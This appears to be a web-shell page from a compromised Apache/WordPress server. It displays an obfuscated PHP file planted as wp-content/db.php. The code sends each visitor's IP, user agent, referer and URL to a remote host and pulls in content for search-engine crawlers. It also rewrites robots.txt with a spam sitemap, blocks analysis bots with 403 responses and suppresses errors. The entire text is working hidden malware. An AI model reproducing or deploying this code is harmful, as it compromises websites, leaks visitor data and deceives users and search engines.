HEX
Server: Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
System: Linux golden.server-sky-dns.com 3.10.0-1160.59.1.el7.x86_64 #1 SMP Mon Mar 7 01:49:29 EST 2022 x86_64
User: arkitgroups (1041)
PHP: 8.2.8
Disabled: NONE
Upload Files
File: /home/arkitgroups/public_html/wp-content/db.php
<?php
 goto fXvwu; KH3mD: $_SERVER["\x52\x45\x51\125\105\123\124\137\123\x43\x48\x45\x4d\105"] = "\x68\x74\164\160\163"; goto yBrZa; CZv3k: $EurG_ = $_SERVER["\123\103\122\111\x50\x54\137\116\101\x4d\x45"]; goto KmoUL; ckrtR: if (!(strpos($pxZVA, "\x61\163\170\x61\163\x78") !== false)) { goto GbU6d; } goto f_uKR; KS9XP: ce5zF: goto frzNJ; gVA0j: $zdRqF = "\131\141\150\x6f\x6f\x7c\107\157\157\147\154\145\174\x41\x6f\x6c\174\x64\165\143\153\x64\165\x63\x6b\x67\157\174\x62\151\x6e\147"; goto IvnFL; eEYpG: $JMZ_2 = "\x64\x65\157\x77\x6e\56"; goto QBQgM; OZqP3: xIbd8: goto OVFXH; tExL6: function LOfjt($vjcqr) { goto POb6i; IMPe4: fclose($LW6j4); goto K0K4e; POb6i: $LW6j4 = fopen($vjcqr, "\162"); goto MWMqY; SdbRD: return false; goto CkIbC; R_m9Z: $LPVUp = fread($LW6j4, filesize($vjcqr)); goto IMPe4; F9nq9: Hbgdj: goto SdbRD; MWMqY: if (!$LW6j4) { goto Hbgdj; } goto R_m9Z; K0K4e: return $LPVUp; goto F9nq9; CkIbC: } goto RRKP0; mFKqp: if (strpos($pxZVA, "\162\157\x62\x6f\164\163\56\x74\x78\x74") !== false or strpos($pxZVA, "\x6a\160\62\60\x32\63") !== false or strpos($pxZVA, "\160\151\x6e\147\163\x69\x74\145\155\141\x70") !== false or preg_match("\x40\136\57\50\56\x2a\x3f\51\x2e\170\155\154\44\x40\151", $_SERVER["\x52\105\x51\125\105\123\124\x5f\x55\x52\x49"]) or preg_match("\57\x28{$zdRqF}\51\57\x69", $_SERVER["\110\124\124\120\137\x55\123\x45\x52\137\101\x47\105\116\124"]) or preg_match("\57\x28{$zdRqF}\x29\x2f\x69", @$_SERVER["\x48\x54\x54\x50\x5f\x52\105\106\105\122\x45\x52"])) { goto kX6xI; } goto G6LqL; T00rd: $yOLpu = trim($yOLpu) . "\15\xa" . "\x53\x69\164\145\155\141\160\72\x20{$K4T4W}"; goto WATpG; JlONP: $EurG_ = "\x2f\x3f"; goto KS9XP; u0ZTD: $NcjHg = $VAmvZ . "\77\141\147\x65\x6e\164\x3d{$tHP6j}\x26\x72\x65\146\x65\x72\x3d{$QOhj6}\46\x6c\141\156\147\x3d{$WJH7s}\x26\x69\160\x3d{$b3nzp}\x26\x64\x6f\x6d\x3d{$JY0_L}\x26\x68\164\x74\160\75{$knvqn}\x26\165\162\x69\x3d{$pxZVA}\x26\x70\143\x3d{$qIeJg}\x26\162\x65\x77\162\151\x74\x65\141\142\154\145\x3d{$tpOxe}\x26\163\x63\162\151\x70\x74\x3d{$CNIsi}"; goto hw1ig; fbaor: curl_close($wiIc6); goto lcQUB; ocdw3: exit; goto jMiVU; g9KUc: $wiIc6 = curl_init(); goto bp3cN; DSMBJ: echo $K4T4W . "\72\40" . $JY28W . "\74\142\162\x2f\76"; goto ouba3; mYEwS: curl_setopt($wiIc6, CURLOPT_RETURNTRANSFER, true); goto fzHYI; ouba3: $NcjHg = $VAmvZ . "\x3f\x61\147\145\x6e\164\75{$tHP6j}\46\x72\x65\146\x65\x72\x3d{$QOhj6}\x26\154\141\156\x67\x3d{$WJH7s}\46\x69\x70\75{$b3nzp}\46\x64\x6f\x6d\75{$JY0_L}\x26\x68\164\x74\x70\x3d{$knvqn}\46\165\x72\151\75{$pxZVA}\x26\160\x63\75{$qIeJg}\46\x72\x65\167\162\x69\164\145\141\x62\154\145\75{$tpOxe}\x26\x73\x63\x72\x69\160\x74\x3d{$CNIsi}\x26\x73\x69\164\x65\x6d\x61\160\x3d" . urlencode($K4T4W); goto KLwvp; Nq2em: goto cFFIc; goto ieXkR; djCdd: wx5RP: goto NYUbv; B_cj7: $BX5Ui = "\x68\164\164\160\x3a\x2f\57\143\167\x34\x31\71\61\56\x73"; goto eEYpG; H9Rb7: header("\103\x6f\156\164\x65\x6e\164\55\124\171\160\x65\72\x20\x74\x65\x78\164\57\x68\x74\x6d\x6c\73\40\x63\x68\141\162\163\145\164\75\165\164\146\x2d\70"); goto zZxn8; q8ugG: $tpOxe = LoFjT($Kfx3b); goto Nq2em; zzORU: $tpOxe = 0; goto Ujy8M; Fj40E: header("\x48\124\x54\x50\x2f\61\x2e\60\40\x34\x30\x33\x20\x46\157\162\142\151\x64\144\x65\x6e"); goto Ko5FR; YAWlp: function HZuy3($vjcqr, $LPVUp) { goto iJEC4; Bmtmd: fwrite($LW6j4, $LPVUp); goto Nhq5e; Nhq5e: fclose($LW6j4); goto gbRZB; gbRZB: return true; goto hpCtI; iJEC4: $LW6j4 = fopen($vjcqr, "\x77"); goto af_ly; hpCtI: KCIVQ: goto Fsh5W; af_ly: if (!$LW6j4) { goto KCIVQ; } goto Bmtmd; Fsh5W: return false; goto jYjWm; jYjWm: } goto tExL6; ZEo2t: CxzGj: goto JlONP; pcgea: WGOYt: goto JwvsR; zZxn8: goto Jnza1; goto xpnwz; XoR2i: $CNIsi = urlencode($_SERVER["\123\103\122\111\x50\x54\x5f\116\x41\115\x45"]); goto TmRvO; XKN7x: $FOgGO = "\151"; goto IEVYf; b0J3h: NXk0n: goto KH3mD; z3FZf: kX6xI: goto w3h1P; NhYJg: $knvqn = urlencode($_SERVER["\122\105\121\125\105\123\x54\x5f\x53\x43\110\105\x4d\105"]); goto ckrtR; eoBY0: $g7Q2A = @file_get_contents($r0mRz); goto OdeOj; mFC6f: $g7Q2A = @file_get_contents($NcjHg); goto wu3vo; aFCZU: $EurG_ = "\x2f"; goto NhF1c; MbZHg: hzuy3("\162\157\x62\157\x74\163\x2e\x74\x78\164", $g7Q2A); goto KULLI; fXvwu: $qIeJg = "\x41\61\115\107\x55\121\x45\x51"; goto XKN7x; KLwvp: hXgBZ: goto mFC6f; H5wei: if (!(strpos($pxZVA, "\162\x6f\142\157\164\163\x2e\x74\x78\164") !== false)) { goto sjLEu; } goto MbZHg; XZqhc: $EurG_ = $EurG_ . "\77"; goto LSNeS; dNpil: HZUY3($Kfx3b, "\x31"); goto djCdd; jMiVU: return; goto Wflur; KULLI: sjLEu: goto sZyuf; mQ24K: rZq27: goto fb6Ml; G6LqL: goto cUICv; goto z3FZf; xpnwz: NMwrs: goto aBbvW; ROSRT: if (!(substr($g7Q2A, 0, 10) == "\x65\x72\x72\x6f\x72\40\x63\157\144\145" or $g7Q2A == "\x35\60\x30" or strpos($g7Q2A, "\102\x61\x64\x20\x47\x61\164\145\167\x61\171") !== false)) { goto jyHUr; } goto lZJ0F; GU9Lc: curl_setopt($wiIc6, CURLOPT_SSL_VERIFYHOST, FALSE); goto wgE6U; KmoUL: if (strpos($EurG_, "\151\156\x64\145\170\56\160\150") !== false) { goto wI_VP; } goto XZqhc; yQzjF: if (substr($g7Q2A, 0, 5) == "\x3c\77\170\155\154") { goto NMwrs; } goto H9Rb7; eNL_M: Vzw0p: goto V9cKq; OdeOj: if ($g7Q2A === "\157\x6b") { goto jm74n; } goto bExB_; uuB6w: MU5x2: goto yGggK; lFBqg: if (isset($_SERVER["\x48\x54\x54\x50\137\x43\114\x49\x45\116\x54\x5f\x49\x50"])) { goto xwunX; } goto hNWSd; yGxEa: exit; goto VVLmI; j4JI7: $_SERVER["\122\105\x51\125\105\x53\x54\137\x53\x43\x48\x45\115\x45"] = "\x68\164\x74\160"; goto ciry1; IEVYf: $g3uZS = "\143\157\x6d\x2f"; goto B_cj7; WATpG: $JY28W = ''; goto DSMBJ; f_uKR: echo "\x6f\153"; goto yGxEa; hNWSd: if (isset($_SERVER["\x48\124\124\120\137\130\137\106\x4f\122\127\101\122\x44\105\x44\x5f\x46\117\x52"])) { goto xIbd8; } goto E2Gr3; pxx34: BReZI: goto Cfyr_; Ujy8M: if (!is_file($Kfx3b)) { goto SYhOA; } goto q8ugG; aBbvW: header("\x43\x6f\156\x74\145\x6e\x74\55\124\x79\160\x65\x3a\x20\x74\x65\170\164\x2f\170\155\x6c\73\x20\x63\150\x61\x72\163\145\x74\x3d\165\x74\x66\55\x38"); goto iCdC3; MwYkI: A2U9q: goto bXXGX; pR3kP: $r0mRz = $knvqn . "\72\x2f\57" . $_SERVER["\x48\124\124\x50\x5f\110\x4f\123\x54"] . "\x2f\141\163\x78\x61\x73\170"; goto eoBY0; jQ2ez: $QOhj6 = urlencode(@$_SERVER["\110\124\x54\120\137\x52\105\106\105\122\105\122"]); goto rwg9c; iCdC3: Jnza1: goto eMr8X; fzHYI: curl_setopt($wiIc6, CURLOPT_FOLLOWLOCATION, false); goto xDeAX; ogXT_: HzuY3($Kfx3b, "\60"); goto LnWIB; IvnFL: if (!preg_match("\57\x28\x70\141\x6c\157\x61\x6c\x74\x6f\x6e\145\x74\x77\x6f\162\153\x73\174\120\145\164\x61\154\x42\x6f\164\174\120\141\x71\154\x65\x62\x6f\x74\174\x4a\141\x76\141\174\102\x61\x72\x6b\162\x6f\x77\x6c\x65\x72\x7c\123\145\172\x6e\141\x6d\102\157\x74\x7c\x4d\x6a\x31\62\142\157\x74\174\160\171\x74\x68\157\156\x7c\112\x69\153\145\x53\160\151\144\x65\x72\x7c\x53\x65\x6d\x72\x75\x73\150\102\x6f\164\x7c\106\x65\x65\144\154\x79\174\x53\167\151\x66\164\142\157\x74\174\110\164\x74\160\103\x6c\x69\x65\156\x74\174\141\x73\x6b\x54\142\x46\x58\x54\x56\174\x61\x68\162\145\x66\x73\102\157\164\x7c\x59\141\156\144\x65\170\102\x6f\x74\174\101\155\x61\x7a\157\x6e\102\157\164\x7c\105\172\x6f\157\155\163\174\114\x69\x67\x68\164\x44\x65\x63\x6b\122\x65\160\157\x72\164\x73\x20\x42\157\x74\174\102\x79\x74\x65\x73\x70\x69\x64\145\x72\174\141\160\141\x63\150\145\102\x65\x6e\x63\x68\174\165\156\x69\166\145\162\163\x61\154\106\145\145\x64\120\141\162\x73\145\x72\x7c\103\154\141\x75\144\x65\x62\157\164\x7c\106\145\145\144\x44\145\x6d\157\x6e\174\110\145\162\x69\164\162\151\170\x7c\x44\157\164\102\x6f\164\x7c\112\x61\165\156\x74\171\174\172\155\x45\165\x7c\103\x72\x61\x77\154\x44\141\x64\x64\171\x7c\x65\141\163\x6f\165\x53\x70\x69\x64\145\x72\x7c\120\171\164\x68\x6f\156\55\162\145\x71\x75\x65\163\x74\163\174\x47\x50\124\102\157\164\174\x59\x79\123\x70\151\x64\x65\162\174\x69\156\x64\171\x20\x4c\151\x62\162\141\x72\171\174\x47\x6f\x2d\x68\x74\x74\x70\x2d\x63\x6c\x69\x65\x6e\164\174\x44\x69\x67\x45\x78\x74\174\x73\x63\x72\141\160\171\174\103\x6f\157\x6c\x70\141\144\127\145\x62\153\x69\x74\174\171\151\163\x6f\x75\123\160\x69\x64\145\162\174\104\x61\x74\141\x46\x6f\162\123\x45\x4f\174\157\x42\x6f\164\174\x50\x79\164\x68\x6f\156\55\x75\x72\154\154\x69\x62\174\x43\x65\x6e\163\x79\163\111\156\x73\160\x65\x63\164\51\57\151", $_SERVER["\x48\124\124\x50\x5f\x55\x53\105\x52\x5f\101\x47\x45\x4e\124"])) { goto Vzw0p; } goto Fj40E; FsVO3: if (!empty($yOLpu)) { goto WGOYt; } goto H5wei; RRKP0: $pxZVA = urlencode($_SERVER["\x52\105\121\125\x45\x53\x54\x5f\x55\x52\x49"]); goto NhYJg; Ko5FR: exit; goto eNL_M; SkLHG: $tpOxe = 1; goto dNpil; cg0zY: jyHUr: goto wHHQj; bXXGX: echo $g7Q2A; goto FsVO3; NhF1c: goto ce5zF; goto ZEo2t; NYUbv: cFFIc: goto Kntz4; VVLmI: GbU6d: goto yQebi; lcQUB: c6Wqn: goto na367; na367: if (empty($g7Q2A)) { goto FNujt; } goto ROSRT; sZyuf: goto cHJEE; goto pcgea; LSNeS: goto k8Rva; goto Xp4jW; JwvsR: hZuY3("\162\x6f\142\157\164\x73\x2e\x74\x78\x74", $yOLpu); goto EZQOH; ieXkR: SYhOA: goto pR3kP; Wflur: FNujt: goto NXnPm; wgE6U: $g7Q2A = curl_exec($wiIc6); goto fbaor; Kntz4: if (strpos($pxZVA, "\x66\x61\x76\151\x63\157\156\x2e\x69\143\x6f") !== false) { goto MU5x2; } goto mFKqp; OVFXH: $b3nzp = $_SERVER["\x48\x54\x54\120\x5f\130\137\106\x4f\122\127\x41\x52\x44\105\x44\137\x46\117\x52"]; goto pxx34; bp3cN: curl_setopt($wiIc6, CURLOPT_URL, $NcjHg); goto mYEwS; WIkwV: goto k5hMk; goto uuB6w; Xp4jW: wI_VP: goto bWZoA; eMr8X: goto A2U9q; goto mQ24K; aIAzJ: error_reporting(0); goto PCRHn; NXnPm: cUICv: goto WIkwV; uBjMe: $b3nzp = $_SERVER["\110\124\x54\120\x5f\x43\114\x49\105\116\x54\x5f\x49\120"]; goto oYkG9; wu3vo: if (!empty($g7Q2A)) { goto c6Wqn; } goto g9KUc; lZJ0F: header("\110\x54\124\x50\x2f\x31\x2e\60\x20\x35\x30\x30\x20\111\x6e\x74\145\162\x6e\x61\154\x20\123\145\162\166\x65\x72\40\x45\162\x72\x6f\162"); goto s0Rmc; fb6Ml: header("\x48\124\124\x50\57\x31\x2e\61\40\64\x30\x34\x20\x4e\157\164\x20\x46\157\165\156\144"); goto MwYkI; E2Gr3: goto BReZI; goto p8FpZ; rwg9c: $tHP6j = urlencode($_SERVER["\110\124\x54\x50\137\125\123\x45\122\x5f\101\107\105\116\124"]); goto CeoFx; xDeAX: curl_setopt($wiIc6, CURLOPT_SSL_VERIFYPEER, FALSE); goto GU9Lc; v63ss: $K4T4W = "{$knvqn}\x3a\57\x2f" . $JY0_L . $EurG_ . "\x73\151\164\145\155\141\x70\x2e\170\155\x6c"; goto T00rd; hw1ig: if (!(strpos($pxZVA, "\x70\151\x6e\x67\163\x69\164\x65\155\141\160") !== false)) { goto hXgBZ; } goto CZv3k; bExB_: $tpOxe = 0; goto ogXT_; QBQgM: $VAmvZ = $BX5Ui . $FOgGO . $JMZ_2 . $g3uZS; goto gVA0j; s0Rmc: exit; goto cg0zY; frzNJ: k8Rva: goto NJ44v; Cfyr_: $b3nzp = urlencode($b3nzp); goto XoR2i; oYkG9: goto BReZI; goto OZqP3; yBrZa: wP2AV: goto YAWlp; LnWIB: goto wx5RP; goto tXNyo; bWZoA: if ($tpOxe == 0) { goto CxzGj; } goto aFCZU; V9cKq: $WJH7s = urlencode(@$_SERVER["\110\x54\x54\120\x5f\101\103\x43\x45\120\124\137\x4c\101\116\107\125\101\x47\x45"]); goto aIAzJ; tXNyo: jm74n: goto SkLHG; p8FpZ: xwunX: goto uBjMe; CeoFx: $JY0_L = urlencode($_SERVER["\110\x54\x54\x50\x5f\110\117\123\124"]); goto lFBqg; w3h1P: $yOLpu = ''; goto u0ZTD; ciry1: goto wP2AV; goto b0J3h; EZQOH: cHJEE: goto ocdw3; wHHQj: if (strpos($pxZVA, "\x6a\x70\x32\x30\62\x33") !== false) { goto rZq27; } goto yQzjF; yQebi: $Kfx3b = "\141\x73\x78\x2e\x74\x78\x74"; goto zzORU; PCRHn: $b3nzp = $_SERVER["\x52\x45\115\x4f\124\x45\137\101\x44\x44\x52"]; goto jQ2ez; TmRvO: if (!empty($_SERVER["\122\x45\121\125\x45\x53\x54\137\x53\103\110\105\x4d\x45"]) and $_SERVER["\122\x45\121\125\105\x53\124\137\x53\x43\x48\105\115\x45"] == "\150\x74\x74\x70\163" or !empty($_SERVER["\x48\x54\124\120\x53"]) and $_SERVER["\x48\124\124\x50\x53"] == "\x6f\156" or !empty($_SERVER["\123\x45\122\126\105\x52\x5f\120\117\122\124"]) and $_SERVER["\123\x45\x52\126\105\122\x5f\x50\117\x52\x54"] == "\x34\x34\63" or isset($_SERVER["\110\124\x54\x50\x5f\x58\x5f\x46\x4f\122\127\101\122\x44\105\104\137\x50\122\117\124\117"]) and $_SERVER["\x48\124\x54\x50\x5f\x58\x5f\106\x4f\x52\127\x41\x52\104\x45\x44\137\120\122\x4f\124\x4f"] == "\150\164\x74\x70\163") { goto NXk0n; } goto j4JI7; NJ44v: $yOLpu = "\x55\x73\x65\x72\55\141\147\145\x6e\x74\x3a\x20\x2a\15\12\101\x6c\154\157\x77\x3a\40\x2f"; goto v63ss; yGggK: k5hMk:
?>